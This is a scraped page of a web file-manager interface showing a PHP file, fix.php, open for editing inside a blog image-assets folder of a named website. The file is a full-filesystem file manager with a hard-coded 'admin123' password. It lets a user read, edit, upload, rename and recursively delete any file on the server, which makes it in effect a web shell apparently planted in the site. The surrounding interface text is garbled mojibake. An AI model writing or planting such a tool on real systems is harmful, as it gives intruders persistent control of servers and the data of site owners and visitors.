đ WebAdmin FileManager
Linux 5.15.0-187-generic
PHP 8.3.33
/ Root
/
var
/
www
/
vhosts
/
nirmolakheera.com
/
httpdocs
/
assets
/
blogs
/
featuredimage
đ Files
đ¤ Upload
â New
âšī¸ Info
âŦī¸ Up
âī¸ Editing: fix.php
â Back
<?php /** * Simple File Manager (Full Filesystem Access) * Aplikasi manajemen file berbasis web untuk administrasi server. * * @package SimpleFileManager * @author Administrator * @version 2.1.0 * @license MIT */ declare(strict_types=1); session_start(); // ================== APPLICATION CONFIG ================== define('APP_NAME', 'Simple File Manager'); define('APP_VERSION', '2.1.0'); $config = [ 'password' => 'admin123', // GANTI dengan password kuat! 'max_upload_size' => 30 * 1024 * 1024, // 30 MB 'max_edit_size' => 2 * 1024 * 1024, // 2 MB ]; // Ekstensi yang tidak diizinkan untuk upload $disallowedUploadExtensions = [ 'php3','php4','php5','php7','php8','phar','pht','phps', 'cgi','pl','py','asp','aspx','jsp','sh','bash', 'exe','bat','cmd','com' ]; // Ekstensi yang dapat diedit sebagai teks $textFileExtensions = [ 'php','txt','html','htm','css','js','json','xml','md','log', 'ini','conf','sql','csv','env','yml','yaml','htaccess' ]; // Ekstensi gambar $imageExtensions = [ 'jpg','jpeg','png','gif','webp','bmp','svg','ico' ]; // ================== ERROR HANDLING ================== error_reporting(E_ALL); ini_set('display_errors', '0'); ini_set('log_errors', '1'); // ================== SECURITY HEADERS ================== if (!headers_sent()) { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: same-origin'); } // ================== UTILITY FUNCTIONS ================== /** * Memeriksa apakah pengguna sudah login. */ function isUserLoggedIn(): bool { return isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true; } /** * Memverifikasi password pengguna. */ function verifyPassword(string $inputPassword): bool { global $config; return hash_equals((string) $config['password'], $inputPassword); } /** * Mendapatkan CSRF token. */ function getCsrfToken(): string { if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token']; } /** * Memverifikasi CSRF token. */ function verifyCsrfToken(?string $token): bool { if (empty($_SESSION['csrf_token']) || empty($token)) { return false; } return hash_equals($_SESSION['csrf_token'], $token); } /** * Menyelesaikan path absolut dari input pengguna. * Mendukung akses ke seluruh filesystem root. */ function resolveSafePath(string $userPath = ''): string { // Normalisasi separator & hapus null byte $userPath = str_replace(["\0", '\\'], ['', '/'], $userPath); $userPath = preg_replace('#/+#', '/', $userPath); $userPath = trim($userPath, '/'); // Path kosong = default ke direktori script if ($userPath === '') { $default = realpath(__DIR__); return $default !== false ? $default : __DIR__; } // Coba resolve path absolut dari root filesystem $target = '/' . $userPath; $real = @realpath($target); if ($real !== false) { return $real; } // Fallback: cari parent terdekat yang valid $parts = explode('/', $userPath); while (!empty($parts)) { array_pop($parts); $try = empty($parts) ? '/' : '/' . implode('/', $parts); $real = @realpath($try); if ($real !== false) { return $real; } } return DIRECTORY_SEPARATOR; } /** * Mendapatkan path relatif terhadap root filesystem. */ function getRelativePath(string $absolutePath): string { $normalized = str_replace('\\', '/', $absolutePath); return $normalized === '/' ? '' : trim($normalized, '/'); } /** * Format ukuran bytes menjadi string mudah dibaca. */ function humanReadableSize(int $bytes): string { if ($bytes >= 1073741824) { return round($bytes / 1073741824, 2) . ' GB'; } if ($bytes >= 1048576) { return round($bytes / 1048576, 2) . ' MB'; } if ($bytes >= 1024) { return round($bytes / 1024, 2) . ' KB'; } return $bytes . ' B'; } /** * Mendapatkan ekstensi file huruf kecil. */ function getFileExtension(string $filename): string { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } /** * Memeriksa apakah file diizinkan untuk diupload. */ function isUploadAllowed(string $filename): bool { global $disallowedUploadExtensions; return !in_array(getFileExtension($filename), $disallowedUploadExtensions, true); } /** * Memeriksa apakah file dapat diedit sebagai teks. */ function isTextEditable(string $filename): bool { global $textFileExtensions; return in_array(getFileExtension($filename), $textFileExtensions, true); } /** * Memeriksa apakah file adalah gambar. */ function isImageFile(string $filename): bool { global $imageExtensions; return in_array(getFileExtension($filename), $imageExtensions, true); } /** * Menghapus direktori beserta isinya secara aman. */ function removeDirectoryTree(string $path): bool { if (!file_exists($path)) { return true; } if (!is_dir($path)) { return @unlink($path); } $entries = @scandir($path); if ($entries === false) { return false; } foreach ($entries as $entry) { if ($entry === '.' || $entry === '..') { continue; } $childPath = $path . DIRECTORY_SEPARATOR . $entry; if (is_dir($childPath)) { if (!removeDirectoryTree($childPath)) { return false; } } else { if (!@unlink($childPath)) { return false; } } } return @rmdir($path); } // ================== AUTHENTICATION ================== if (isset($_POST['do_login'])) { if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) { $loginError = true; } elseif (verifyPassword((string) ($_POST['password'] ?? ''))) { session_regenerate_id(true); $_SESSION['fm_auth'] = true; $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $loginError = true; } } if (isset($_GET['logout'])) { $_SESSION = []; if (ini_get('session.use_cookies')) { $params = session_get_cookie_params(); setcookie(session_name(), '', time() - 42000, $params['path'], $params['domain'], $params['secure'], $params['httponly'] ); } session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } if (!isUserLoggedIn()) { $token = getCsrfToken(); ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Login - <?= APP_NAME ?></title> <style> body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;background:#0f172a;font-family:system-ui,sans-serif} .box{background:#1e293b;padding:2rem;border-radius:12px;width:320px;box-shadow:0 10px 30px rgba(0,0,0,.4)} h1{color:#f1f5f9;font-size:1.25rem;margin:0 0 1.5rem;text-align:center} input{width:100%;padding:12px;border:1px solid #334155;border-radius:8px;background:#0f172a;color:#f1f5f9;margin-bottom:1rem;box-sizing:border-box} button{width:100%;padding:12px;background:#3b82f6;color:white;border:none;border-radius:8px;font-size:1rem;cursor:pointer} button:hover{background:#2563eb} .err{color:#f87171;text-align:center;margin-bottom:1rem;font-size:.9rem} </style> </head> <body> <div class="box"> <h1><?= APP_NAME ?></h1> <?php if (!empty($loginError)): ?><div class="err">Password salah</div><?php endif; ?> <form method="post"> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($token) ?>"> <input type="password" name="password" placeholder="Password" required autofocus> <button type="submit" name="do_login">Masuk</button> </form> </div> </body> </html> <?php exit; } // ================== MAIN APPLICATION ================== $currentPath = resolveSafePath((string) ($_GET['p'] ?? '')); $relativePath = getRelativePath($currentPath); $message = ''; $error = ''; $csrfToken = getCsrfToken(); // ===================== VIEW FILE ===================== if (isset($_GET['view'])) { $fileName = basename((string) $_GET['view']); $filePath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName; $realPath = @realpath($filePath); if (!$realPath || !is_file($realPath) || !is_readable($realPath)) { $error = 'File tidak ditemukan atau tidak bisa dibaca'; } else { if (isImageFile($fileName)) { $mimeType = 'application/octet-stream'; if (function_exists('mime_content_type')) { $detected = @mime_content_type($realPath); if ($detected !== false) { $mimeType = $detected; } } header('Content-Type: ' . $mimeType); header('Content-Length: ' . filesize($realPath)); header('Cache-Control: private, max-age=3600'); readfile($realPath); exit; } $fileSize = filesize($realPath); if (isTextEditable($fileName) || $fileSize <= $config['max_edit_size']) { $content = @file_get_contents($realPath); if ($content === false) { $error = 'Gagal membaca isi file'; } else { ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>View - <?= htmlspecialchars($fileName) ?></title> <style> body{margin:0;background:#0f172a;color:#e2e8f0;font-family:system-ui,sans-serif} header{background:#1e293b;padding:12px 20px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px} header a{color:#94a3b8;text-decoration:none} .wrap{max-width:1200px;margin:20px auto;padding:0 16px} pre{background:#1e293b;padding:20px;border-radius:10px;overflow:auto;font-size:13.5px;line-height:1.55;white-space:pre-wrap;word-break:break-word} .info{color:#94a3b8;font-size:.9rem} </style> </head> <body> <header> <div> <strong><?= htmlspecialchars($fileName) ?></strong> <span class="info"> â <?= humanReadableSize((int) $fileSize) ?></span> </div> <div> <?php if (isTextEditable($fileName)): ?> <a href="?p=<?= urlencode($relativePath) ?>&edit=<?= urlencode($fileName) ?>" style="color:#3b82f6;margin-right:16px">Edit</a> <?php endif; ?> <a href="?p=<?= urlencode($relativePath) ?>">â Kembali</a> </div> </header> <div class="wrap"> <pre><?= htmlspecialchars($content) ?></pre> </div> </body> </html> <?php exit; } } else { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . rawurlencode($fileName) . '"'); header('Content-Length: ' . $fileSize); readfile($realPath); exit; } } } // ===================== EDIT FILE ===================== if (isset($_GET['edit'])) { $fileName = basename((string) $_GET['edit']); $filePath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName; $realPath = @realpath($filePath); if (!$realPath || !is_file($realPath) || !is_readable($realPath)) { $error = 'File tidak ditemukan atau tidak bisa dibaca'; } elseif (!isTextEditable($fileName)) { $error = 'File ini tidak bisa diedit (hanya file teks yang diizinkan)'; } elseif (filesize($realPath) > $config['max_edit_size']) { $error = 'File terlalu besar untuk diedit (maks ' . humanReadableSize((int) $config['max_edit_size']) . ')'; } else { if (isset($_POST['save_content'])) { if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) { $error = 'Token keamanan tidak valid. Silakan coba lagi.'; } else { $newContent = (string) ($_POST['content'] ?? ''); if (@file_put_contents($realPath, $newContent) !== false) { $message = 'File berhasil disimpan'; } else { $error = 'Gagal menyimpan file (cek permission folder)'; } } } $content = @file_get_contents($realPath); if ($content === false) { $content = ''; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Edit - <?= htmlspecialchars($fileName) ?></title> <style> body{margin:0;background:#0f172a;color:#e2e8f0;font-family:system-ui,sans-serif} header{background:#1e293b;padding:12px 20px;display:flex;justify-content:space-between;align-items:center} header a{color:#94a3b8;text-decoration:none} .wrap{max-width:1200px;margin:20px auto;padding:0 16px} textarea{width:100%;height:70vh;background:#1e293b;color:#e2e8f0;border:1px solid #334155;border-radius:10px;padding:16px;font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;font-size:14px;line-height:1.5;resize:vertical;box-sizing:border-box} .btn{background:#3b82f6;color:#fff;border:none;padding:10px 22px;border-radius:8px;cursor:pointer;font-size:1rem} .btn:hover{background:#2563eb} .alert{padding:12px 16px;border-radius:8px;margin-bottom:16px} .ok{background:#166534;color:#dcfce7} .bad{background:#991b1b;color:#fee2e2} </style> </head> <body> <header> <strong>Edit: <?= htmlspecialchars($fileName) ?></strong> <a href="?p=<?= urlencode($relativePath) ?>">â Kembali</a> </header> <div class="wrap"> <?php if ($message): ?><div class="alert ok"><?= htmlspecialchars($message) ?></div><?php endif; ?> <?php if ($error): ?><div class="alert bad"><?= htmlspecialchars($error) ?></div><?php endif; ?> <form method="post"> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>"> <textarea name="content" spellcheck="false"><?= htmlspecialchars($content) ?></textarea> <div style="margin-top:16px;display:flex;gap:12px;align-items:center"> <button type="submit" name="save_content" class="btn">Simpan Perubahan</button> <a href="?p=<?= urlencode($relativePath) ?>&view=<?= urlencode($fileName) ?>" style="color:#94a3b8">Lihat saja</a> </div> </form> </div> </body> </html> <?php exit; } } // ===================== CREATE FOLDER ===================== if (isset($_POST['create_folder'])) { if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) { $error = 'Token keamanan tidak valid. Silakan coba lagi.'; } else { $folderName = basename(trim((string) ($_POST['folder_name'] ?? ''))); if ($folderName === '' || $folderName === '.' || $folderName === '..') { $error = 'Nama folder tidak valid'; } else { $targetPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $folderName; if (file_exists($targetPath)) { $error = 'Folder/file dengan nama tersebut sudah ada'; } elseif (@mkdir($targetPath, 0755)) { $message = 'Folder berhasil dibuat'; } else { $error = 'Gagal membuat folder (permission?)'; } } } } // ===================== UPLOAD ===================== if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) { $error = 'Token keamanan tidak valid. Silakan coba lagi.'; } else { $uploadName = basename((string) $_FILES['upload']['name']); if (!isUploadAllowed($uploadName)) { $error = 'Ekstensi file dilarang diupload'; } elseif ($_FILES['upload']['size'] > $config['max_upload_size']) { $error = 'File terlalu besar (maksimal ' . humanReadableSize((int) $config['max_upload_size']) . ')'; } else { $targetPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $uploadName; if (@move_uploaded_file($_FILES['upload']['tmp_name'], $targetPath)) { $message = 'Upload berhasil'; } else { $error = 'Gagal upload (permission folder?)'; } } } } // ===================== DELETE ===================== if (isset($_GET['del'])) { if (!verifyCsrfToken($_GET['csrf_token'] ?? null)) { $error = 'Token keamanan tidak valid. Silakan coba lagi.'; } else { $deleteName = basename((string) $_GET['del']); $deletePath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $deleteName; $realDeletePath = @realpath($deletePath); // Proteksi minimal: hanya cegah hapus root "/" itu sendiri if (!$realDeletePath || $realDeletePath === DIRECTORY_SEPARATOR) { $error = 'Tidak diizinkan menghapus path ini'; } else { if (is_dir($realDeletePath)) { if (removeDirectoryTree($realDeletePath)) { $message = 'Folder dan seluruh isinya berhasil dihapus'; } else { $error = 'Gagal menghapus folder (permission?)'; } } else { if (@unlink($realDeletePath)) { $message = 'File berhasil dihapus'; } else { $error = 'Gagal menghapus file'; } } } } } // ===================== RENAME ===================== if (isset($_POST['rename'])) { if (!verifyCsrfToken($_POST['csrf_token'] ?? null)) { $error = 'Token keamanan tidak valid. Silakan coba lagi.'; } else { $oldName = basename((string) ($_POST['old'] ?? '')); $newName = basename(trim((string) ($_POST['new'] ?? ''))); if ($newName === '' || $newName === '.' || $newName === '..') { $error = 'Nama baru tidak valid'; } else { $oldPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $oldName; $newPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $newName; if (!file_exists($oldPath)) { $error = 'File/folder asal tidak ditemukan'; } elseif (file_exists($newPath)) { $error = 'Nama baru sudah digunakan'; } elseif (@rename($oldPath, $newPath)) { $message = 'Berhasil diubah nama'; } else { $error = 'Gagal rename (permission?)'; } } } } // ===================== LIST FILES ===================== $files = []; if (is_readable($currentPath)) { $entries = @scandir($currentPath); if ($entries !== false) { foreach ($entries as $entry) { if ($entry === '.' || $entry === '..') { continue; } $fullPath = rtrim($currentPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $entry; $files[] = [ 'name' => $entry, 'dir' => is_dir($fullPath), 'size' => is_file($fullPath) ? (int) @filesize($fullPath) : 0, 'time' => (int) (@filemtime($fullPath) ?: time()), ]; } usort($files, static function (array $a, array $b): int { if ($a['dir'] === $b['dir']) { return strcasecmp($a['name'], $b['name']); } return $b['dir'] <=> $a['dir']; }); } else { $error = 'Tidak bisa membaca directory (permission denied)'; } } else { $error = 'Directory tidak bisa dibaca'; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title><?= APP_NAME ?></title> <style> *{box-sizing:border-box} body{margin:0;background:#f1f5f9;font-family:system-ui,-apple-system,sans-serif;color:#1e293b} header{background:#0f172a;color:#f8fafc;padding:14px 20px;display:flex;justify-content:space-between;align-items:center} header h1{margin:0;font-size:1.1rem} header a{color:#94a3b8;text-decoration:none;font-size:.9rem} .wrap{max-width:1100px;margin:20px auto;padding:0 16px} .path{background:#fff;padding:12px 16px;border-radius:10px;margin-bottom:16px;font-size:.9rem;box-shadow:0 1px 3px rgba(0,0,0,.06);word-break:break-all} .path a{color:#3b82f6;text-decoration:none} .alert{padding:12px 16px;border-radius:8px;margin-bottom:16px;font-size:.9rem} .ok{background:#dcfce7;color:#166534} .bad{background:#fee2e2;color:#991b1b} .tools{display:flex;gap:12px;flex-wrap:wrap;margin-bottom:16px} .card{background:#fff;padding:14px;border-radius:10px;box-shadow:0 1px 3px rgba(0,0,0,.06);flex:1;min-width:240px} input[type=text],input[type=file]{padding:8px 12px;border:1px solid #cbd5e1;border-radius:6px;width:100%;margin-bottom:8px} button{background:#3b82f6;color:#fff;border:none;padding:8px 14px;border-radius:6px;cursor:pointer;font-size:.875rem} button:hover{background:#2563eb} table{width:100%;border-collapse:collapse;background:#fff;border-radius:10px;overflow:hidden;box-shadow:0 1px 3px rgba(0,0,0,.06)} th,td{padding:11px 14px;text-align:left;border-bottom:1px solid #e2e8f0;font-size:.9rem} th{background:#f8fafc;color:#64748b;font-weight:600} tr:hover{background:#f8fafc} .name a{color:#1e293b;text-decoration:none;font-weight:500} .folder{color:#d97706} .act a{color:#3b82f6;text-decoration:none;margin-right:10px;font-size:.85rem} .act a.del{color:#ef4444} .act a.view{color:#059669} .act a.edit{color:#7c3aed} .rename-box{display:none;margin-top:6px} .rename-box input{width:180px;display:inline-block;margin-right:6px} @media(max-width:640px){.size,.time{display:none}} </style> </head> <body> <header> <h1><?= APP_NAME ?> <small style="color:#64748b;font-weight:400;font-size:.8rem">v<?= APP_VERSION ?></small></h1> <a href="?logout=1">Keluar</a> </header> <div class="wrap"> <div class="path"> <a href="?p=">/</a> <?php if ($relativePath !== '') { $parts = explode('/', $relativePath); $build = ''; foreach ($parts as $part) { $build .= ($build === '' ? '' : '/') . $part; echo ' / <a href="?p=' . urlencode($build) . '">' . htmlspecialchars($part) . '</a>'; } } ?> </div> <?php if ($message): ?><div class="alert ok"><?= htmlspecialchars($message) ?></div><?php endif; ?> <?php if ($error): ?><div class="alert bad"><?= htmlspecialchars($error) ?></div><?php endif; ?> <div class="tools"> <div class="card"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>"> <input type="file" name="upload" required> <button type="submit">Upload</button> </form> </div> <div class="card"> <form method="post"> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>"> <input type="text" name="folder_name" placeholder="Nama folder baru" required> <button type="submit" name="create_folder">Buat Folder</button> </form> </div> </div> <table> <thead> <tr> <th>Nama</th> <th class="size">Ukuran</th> <th class="time">Tanggal</th> <th>Aksi</th> </tr> </thead> <tbody> <?php if ($relativePath !== ''): ?> <tr> <td class="name"> <?php $parent = dirname($relativePath); $parentParam = ($parent === '.' || $parent === DIRECTORY_SEPARATOR) ? '' : $parent; ?> <a href="?p=<?= urlencode($parentParam) ?>">..</a> </td> <td class="size">-</td> <td class="time">-</td> <td></td> </tr> <?php endif; ?> <?php foreach ($files as $file): ?> <tr> <td class="name"> <?php if ($file['dir']): ?> <a href="?p=<?= urlencode(($relativePath ? $relativePath . '/' : '') . $file['name']) ?>" class="folder"> đ <?= htmlspecialchars($file['name']) ?> </a> <?php else: ?> <?= htmlspecialchars($file['name']) ?> <?php endif; ?> </td> <td class="size"><?= $file['dir'] ? '-' : humanReadableSize($file['size']) ?></td> <td class="time"><?= date('d M Y H:i', $file['time']) ?></td> <td class="act"> <?php if (!$file['dir']): ?> <a href="?p=<?= urlencode($relativePath) ?>&view=<?= urlencode($file['name']) ?>" class="view">View</a> <?php if (isTextEditable($file['name'])): ?> <a href="?p=<?= urlencode($relativePath) ?>&edit=<?= urlencode($file['name']) ?>" class="edit">Edit</a> <?php endif; ?> <?php endif; ?> <a href="javascript:void(0)" onclick="toggleRename(this)">Rename</a> <a href="?p=<?= urlencode($relativePath) ?>&del=<?= urlencode($file['name']) ?>&csrf_token=<?= urlencode($csrfToken) ?>" class="del" onclick="return confirm('Hapus <?= htmlspecialchars(addslashes($file['name']), ENT_QUOTES) ?>?\n\nJika folder, SEMUA isinya juga akan ikut terhapus!')">Hapus</a> <div class="rename-box"> <form method="post"> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>"> <input type="hidden" name="old" value="<?= htmlspecialchars($file['name']) ?>"> <input type="text" name="new" value="<?= htmlspecialchars($file['name']) ?>" required> <button type="submit" name="rename">OK</button> </form> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($files) && empty($error)): ?> <tr><td colspan="4" style="text-align:center;color:#94a3b8;padding:30px">Folder kosong</td></tr> <?php endif; ?> </tbody> </table> </div> <script> function toggleRename(el) { var box = el.parentNode.querySelector('.rename-box'); var allBoxes = document.querySelectorAll('.rename-box'); for (var i = 0; i < allBoxes.length; i++) { if (allBoxes[i] !== box) { allBoxes[i].style.display = 'none'; } } box.style.display = box.style.display === 'block' ? 'none' : 'block'; } </script> </body> </html>
âī¸ Rename Item
Original:
Cancel
Rename